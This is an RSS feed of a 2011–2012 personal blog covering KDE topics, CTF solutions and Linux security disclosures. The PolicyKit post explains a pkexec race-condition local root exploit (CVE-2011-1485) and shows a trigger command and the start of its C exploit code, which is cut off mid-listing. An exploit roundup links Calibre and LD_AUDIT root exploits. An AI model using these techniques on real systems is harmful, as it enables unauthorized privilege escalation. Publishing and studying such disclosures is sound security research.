<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nerdling Sapple &#187; KDE</title>
	<atom:link href="http://blog.zx2c4.com/tag/kde/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.zx2c4.com</link>
	<description>{{{ ZX2C4 }}}</description>
	<lastBuildDate>Wed, 28 Mar 2012 12:54:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Stripe&#8217;s Capture the Flag &#8212; Solutions</title>
		<link>http://blog.zx2c4.com/781</link>
		<comments>http://blog.zx2c4.com/781#comments</comments>
		<pubDate>Sun, 26 Feb 2012 01:02:18 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[capture the flag]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[stripe]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=781</guid>
		<description><![CDATA[Stripe released a capture the flag, a security competition to exploit several contrived flaws. I solved all of them, and you can take a look at the solutions here. Here&#8217;s a video of a complete walkthrough:<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/781#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=781" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Stripe released a <a href="https://stripe.com/blog/capture-the-flag" onclick="pageTracker._trackPageview('/outgoing/stripe.com/blog/capture-the-flag?referer=');">capture the flag</a>, a security competition to exploit several contrived flaws. I solved all of them, and you can take a look at <a href="http://git.zx2c4.com/Stripe-CTF/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/Stripe-CTF/tree/?referer=');">the solutions here</a>. Here&#8217;s a video of a <a href="http://youtu.be/_q2wTd1jgUQ" onclick="pageTracker._trackPageview('/outgoing/youtu.be/_q2wTd1jgUQ?referer=');">complete walkthrough</a>:<br />
<object width="640" height="550"><param name="movie" value="http://www.youtube-nocookie.com/v/jy81-DnbYXI?version=3&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/jy81-DnbYXI?version=3&amp;hl=en_US" type="application/x-shockwave-flash" width="640" height="550" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/781#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=781" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F781&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/781"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/781"  data-text="Stripe&#8217;s Capture the Flag &#8212; Solutions" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/781"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/781/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>FOSDEM from Paris</title>
		<link>http://blog.zx2c4.com/743</link>
		<comments>http://blog.zx2c4.com/743#comments</comments>
		<pubDate>Wed, 18 Jan 2012 15:25:18 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[FOSDOM]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[OSS]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=743</guid>
		<description><![CDATA[I just moved to Paris, which means I&#8217;m finally in the right proximity at the right time for attending an open source conference. I&#8217;m not sure what the scoop is with the Parsian KDE community &#8212; if it exists or is vibrant, if there&#8217;s camaraderie, or what the situation is. But, in case there is [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/743#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=743" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I just moved to Paris, which means I&#8217;m finally in the right proximity at the right time for attending an open source conference. I&#8217;m not sure what the scoop is with the Parsian KDE community &#8212; if it exists or is vibrant, if there&#8217;s camaraderie, or what the situation is. But, in case there is a good vibe brewing inside the Paris OSS community, <i>what do you say we all band together to attend <a href="http://fosdem.org/2012/" onclick="pageTracker._trackPageview('/outgoing/fosdem.org/2012/?referer=');">FOSDEM</a></i>. Leave our city for Brussels in a festive caravan on Friday night (or possibly just a train) and come back Sunday night? If there&#8217;s interest, email me at jason [at] zx2c4 dot com or leave a comment below.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/743#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=743" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F743&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/743"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/743"  data-text="FOSDEM from Paris" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/743"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/743/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KDE Doesn&#8217;t Suck Anymore, People Finally Realize</title>
		<link>http://blog.zx2c4.com/726</link>
		<comments>http://blog.zx2c4.com/726#comments</comments>
		<pubDate>Sun, 18 Dec 2011 19:50:40 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=726</guid>
		<description><![CDATA[TechRadar has decided that KDE is the most usable desktop compared to Gnome and Unity. A few days prior to the publication of this article, my friend John emailed me to write: I&#8217;m using Kde on my computer at work and it is amazing. It&#8217;s improved so much that it&#8217;s now stable and highly usable. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/726#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=726" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>TechRadar <a href="http://www.techradar.com/news/software/operating-systems/what-s-the-best-linux-desktop-environment--1045280?artc_pg=1" onclick="pageTracker._trackPageview('/outgoing/www.techradar.com/news/software/operating-systems/what-s-the-best-linux-desktop-environment--1045280?artc_pg=1&amp;referer=');">has decided that KDE is the most usable desktop</a> compared to Gnome and Unity. A few days prior to the publication of this article, my friend <a href="http://john.nachtimwald.com" onclick="pageTracker._trackPageview('/outgoing/john.nachtimwald.com?referer=');">John</a> emailed me to write:</p>
<blockquote><p>
I&#8217;m using Kde on my computer at work and it is amazing. It&#8217;s improved so much that it&#8217;s now stable and highly usable.</p>
<p>I tried Unity (I&#8217;m using Ubuntu) and it was unusable. Gnome 3 was better but had massive issues with my second screen (dual screen setup with nvdia gpu running in twin view). Gnome 3 was still lacking in the productivity area though. Lxde worked great but I don&#8217;t want to use a desktop that looks and feels like Windows 95&#8230; Also Lxde has few apps so I had to pull in gnome or ode ones&#8230;</p>
<p>I also had issues with Ubuntu&#8217;s lightdm but switching to kdm fixed that. So far Kde is the only desktop that fully works, feels good, looks good and has apps for every task.</p>
<p>John<br />
&#8212;<br />
Sent from my phone
</p></blockquote>
<p>Finally folks are figuring out that <em>KDE doesn&#8217;t suck anymore</em>.</p>
<hr />
<strong>Update:</strong> <a href="http://www.signal11.com" onclick="pageTracker._trackPageview('/outgoing/www.signal11.com?referer=');">Adam Weiss</a> writes with a political comparison:</p>
<blockquote><p>
Gnome 3, Unity&#8230;they are like the George W. Bush of the non-KDE Linux desktop movement. Instead of taking care of the real issues on the desk, they went gallavanting off into the netbook world, dropping bombs all over the place and even to this day nobody can really figure out what the point of netbooks is&#8230;
</p></blockquote>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/726#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=726" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F726&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/726"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/726"  data-text="KDE Doesn&#8217;t Suck Anymore, People Finally Realize" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/726"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/726/feed</wfw:commentRss>
		<slash:comments>66</slash:comments>
		</item>
		<item>
		<title>Exploit Round Up: Calibre Fiasco &amp; LD_AUDIT</title>
		<link>http://blog.zx2c4.com/702</link>
		<comments>http://blog.zx2c4.com/702#comments</comments>
		<pubDate>Fri, 18 Nov 2011 09:28:27 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[calibre]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=702</guid>
		<description><![CDATA[A few weeks ago, I posted an exploit and a bug report for a Linux local root exploit in Calibre. The author, Kovid Goyal, became incensed, and rather than work with me to fix it, he insulted my colleagues and me. After each one of his fixes, I released a new exploit breaking the latest. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/702#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=702" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago, I posted an exploit and a bug report for a Linux local root exploit in Calibre. The author, Kovid Goyal, became incensed, and rather than work with me to fix it, he insulted my colleagues and me. After each one of his fixes, I released a new exploit breaking the latest. It got a lot of social media hype, and was kind of a big deal. After several days of media frenzy and bad publicity, the stubborn developer finally bent to the advice of the chorus of leading security researchers, and the mount helper was removed in entirety. In any case, the exploits show some neat race condition tricks that you might want to check out, using inotify and a toggler. </p>
<li><a href="https://bugs.launchpad.net/calibre/+bug/885027" onclick="pageTracker._trackPageview('/outgoing/bugs.launchpad.net/calibre/+bug/885027?referer=');">Hilarious bug report</a></li>
<li><a href="https://lwn.net/Articles/464824/" onclick="pageTracker._trackPageview('/outgoing/lwn.net/Articles/464824/?referer=');">Important news article</a></li>
<li><a href="http://www.reddit.com/r/programming/comments/lzb5h/how_not_to_respond_to_vulnerabilities_in_your_code/" onclick="pageTracker._trackPageview('/outgoing/www.reddit.com/r/programming/comments/lzb5h/how_not_to_respond_to_vulnerabilities_in_your_code/?referer=');">Social media hype</a></li>
<li><a href="http://www.reddit.com/r/netsec/comments/lzdhy/calibre_ebook_reader_local_root_exploit/" onclick="pageTracker._trackPageview('/outgoing/www.reddit.com/r/netsec/comments/lzdhy/calibre_ebook_reader_local_root_exploit/?referer=');">More social media hype</a></li>
<li><a href="https://twitter.com/#!/ioerror/status/132182945275461633" onclick="pageTracker._trackPageview('/outgoing/twitter.com/_/ioerror/status/132182945275461633?referer=');">Compliment from famous hacker</a></li>
<li><a href="http://www.openwall.com/lists/oss-security/2011/11/02/2" onclick="pageTracker._trackPageview('/outgoing/www.openwall.com/lists/oss-security/2011/11/02/2?referer=');">oss-security mailing list discussion</a></li>
<li><a href="http://webcache.googleusercontent.com/search?q=cache:http://crazycoders.com/2011/11/craziest-coders-ever-and-links/" onclick="pageTracker._trackPageview('/outgoing/webcache.googleusercontent.com/search?q=cache_http_//crazycoders.com/2011/11/craziest-coders-ever-and-links/&amp;referer=');">Obscene praise from script-kiddie</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/50calibrerassaultmount.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/50calibrerassaultmount.sh?referer=');">First Exploit</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/60calibrerassaultmount.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/60calibrerassaultmount.sh?referer=');">Second Exploit</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/70calibrerassaultmount.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/70calibrerassaultmount.sh?referer=');">Third Exploit</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/80calibrerassaultmount.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/80calibrerassaultmount.c?referer=');">Most Glorious Forth Exploit</a></li>
<p>There&#8217;s plenty of technical explanation in the comments of the code. I was assigned <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4124" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4124&amp;referer=');">CVE-2011-4124</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4125" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4125&amp;referer=');">CVE-2011-4125</a>, and <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4126" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4126&amp;referer=');">CVE-2011-4126</a>, my first three CVEs.</p>
<hr />
<p>After that, I decided to learn about linker bugs, so I reread Tavis&#8217; excellent <a href="http://seclists.org/bugtraq/2010/Oct/200" onclick="pageTracker._trackPageview('/outgoing/seclists.org/bugtraq/2010/Oct/200?referer=');">two</a> <a href="http://seclists.org/fulldisclosure/2010/Oct/257" onclick="pageTracker._trackPageview('/outgoing/seclists.org/fulldisclosure/2010/Oct/257?referer=');">write-ups</a> on <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3856" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3856&amp;referer=');">CVE-2010-3856</a> and <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3847" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3847&amp;referer=');">CVE-2010-3847</a>. I saw that there was room for writing a newer exploit based on his research that did not depend on having read access to SUID executables or having a cron daemon installed, so I wrote <a href="http://git.zx2c4.com/CVE-2010-3856/tree/ld-audit-no-read-permission-no-race.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2010-3856/tree/ld-audit-no-read-permission-no-race.sh?referer=');">I Can&#8217;t Read and I Won&#8217;t Race You Either</a>. The source has plenty of explanation. I also suggest reading Tim Brown&#8217;s <a href="http://www.nth-dimension.org.uk/downloads.php?id=77" onclick="pageTracker._trackPageview('/outgoing/www.nth-dimension.org.uk/downloads.php?id=77&amp;referer=');">excellent paper</a> on linker bugs.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/702#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=702" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F702&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/702"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/702"  data-text="Exploit Round Up: Calibre Fiasco &#038; LD_AUDIT" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/702"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/702/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Set Wallpaper from Command-line in KDE4</title>
		<link>http://blog.zx2c4.com/699</link>
		<comments>http://blog.zx2c4.com/699#comments</comments>
		<pubDate>Fri, 18 Nov 2011 09:04:45 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[dbus]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[wallpaper]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=699</guid>
		<description><![CDATA[So far as I can tell, changing your wallpaper (using the default wallpaper plugin, not any fancy scripted wallpaper plugins) from the command line in KDE4 is needlessly hard. I have to write a JavaScript file to a temporary location, make a dbus call to load it into an interactive window, and then use xdotool [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/699#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=699" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>So far as I can tell, changing your wallpaper (using the default wallpaper plugin, not any fancy scripted wallpaper plugins) from the command line in KDE4 is needlessly hard. I have to write a <i>JavaScript</i> file to a temporary location, make a dbus call to load it into an interactive window, and then use xdotool to simulate key strokes to run it. Jimminy cricket. But below is how I have it done. If there&#8217;s an easier way that I&#8217;ve missed, <i>pleeeaassseee</i> let me know in the comments.</p>
<p>set-wallpaper.sh:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #007800;">js</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">mktemp</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$js</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span>_EOF
var wallpaper = <span style="color: #ff0000;">&quot;$1&quot;</span>;
var activity = activities<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>;
activity.currentConfigGroup = new Array<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;Wallpaper&quot;</span>, <span style="color: #ff0000;">&quot;image&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
activity.writeConfig<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;wallpaper&quot;</span>, wallpaper<span style="color: #7a0874; font-weight: bold;">&#41;</span>;
activity.writeConfig<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;userswallpaper&quot;</span>, wallpaper<span style="color: #7a0874; font-weight: bold;">&#41;</span>;
activity.reloadConfig<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
_EOF
qdbus org.kde.plasma-desktop <span style="color: #000000; font-weight: bold;">/</span>App local.PlasmaApp.loadScriptInInteractiveConsole <span style="color: #ff0000;">&quot;<span style="color: #007800;">$js</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
xdotool search <span style="color: #660033;">--name</span> <span style="color: #ff0000;">&quot;Desktop Shell Scripting Console – Plasma Desktop Shell&quot;</span> windowactivate key ctrl+e key ctrl+<span style="color: #c20cb9; font-weight: bold;">w</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$js</span>&quot;</span></pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/699#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=699" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F699&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/699"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/699"  data-text="Set Wallpaper from Command-line in KDE4" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/699"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/699/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>PolicyKit Pwnage: linux local privilege escalation on polkit-1 </title>
		<link>http://blog.zx2c4.com/675</link>
		<comments>http://blog.zx2c4.com/675#comments</comments>
		<pubDate>Wed, 05 Oct 2011 09:35:28 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[local root]]></category>
		<category><![CDATA[policykit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=675</guid>
		<description><![CDATA[Since it&#8217;s been 6 months since reported, I figure it&#8217;s been a responsible amount of time for me to wait before releasing a local root exploit for Linux that targets polkit-1<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/675#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=675" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Since it&#8217;s been 6 months since reported, I figure it&#8217;s been a responsible amount of time for me to wait before releasing a local root exploit for Linux that targets polkit-1 <= 0.101, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1485" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1485&amp;referer=');">CVE-2011-1485</a>, a race condition in PolicyKit. I present you with <a href="http://git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c?referer=');">PolicyKit Pwnage</a>.</p>
<p>David Zeuthen of Redhat <a href="https://bugzilla.redhat.com/show_bug.cgi?id=692922" onclick="pageTracker._trackPageview('/outgoing/bugzilla.redhat.com/show_bug.cgi?id=692922&amp;referer=');">explains on the original bug report</a>:</p>
<blockquote><p>Briefly, the problem is that the UID for the parent process of pkexec(1) is read from /proc by stat(2)&#8217;ing /proc/PID. The problem with this is that this returns the effective uid of the process which can easily be set to 0 by invoking a setuid-root binary such as /usr/bin/chsh in the parent process of pkexec(1). Instead we are really interested in the real-user-id. While there&#8217;s a check in pkexec.c to avoid this problem (by comparing it to what we expect the uid to be &#8211; namely that of the pkexec.c process itself which is the uid of the parent process at pkexec-spawn-time), there is still a short window where an attacker can fool pkexec/polkitd into thinking that the parent process has uid 0 and is therefore authorized. It&#8217;s pretty hard to hit this window &#8211; I actually don&#8217;t know if it can be made to work in practice.</p></blockquote>
<p>Well, here is, in fact, how it&#8217;s made to work in practice. There is as he said an attempted mitigation, and the way to trigger that mitigation path is something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">     $ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #660033;">-u</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">whoami</span><span style="color: #000000; font-weight: bold;">`</span> pkexec <span style="color: #c20cb9; font-weight: bold;">sh</span>
     User of caller <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> does not match our uid <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1000</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Not what we want. So the trick is to execl to a suid at just the precise moment /proc/PID is being stat(2)&#8217;d. We use inotify to learn exactly when it&#8217;s accessed, and execl to the suid binary as our very next instruction.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>fork<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span>
		<span style="color: #993333;">char</span> pid_path<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		sprintf<span style="color: #009900;">&#40;</span>pid_path<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;/proc/%i&quot;</span><span style="color: #339933;">,</span> getpid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
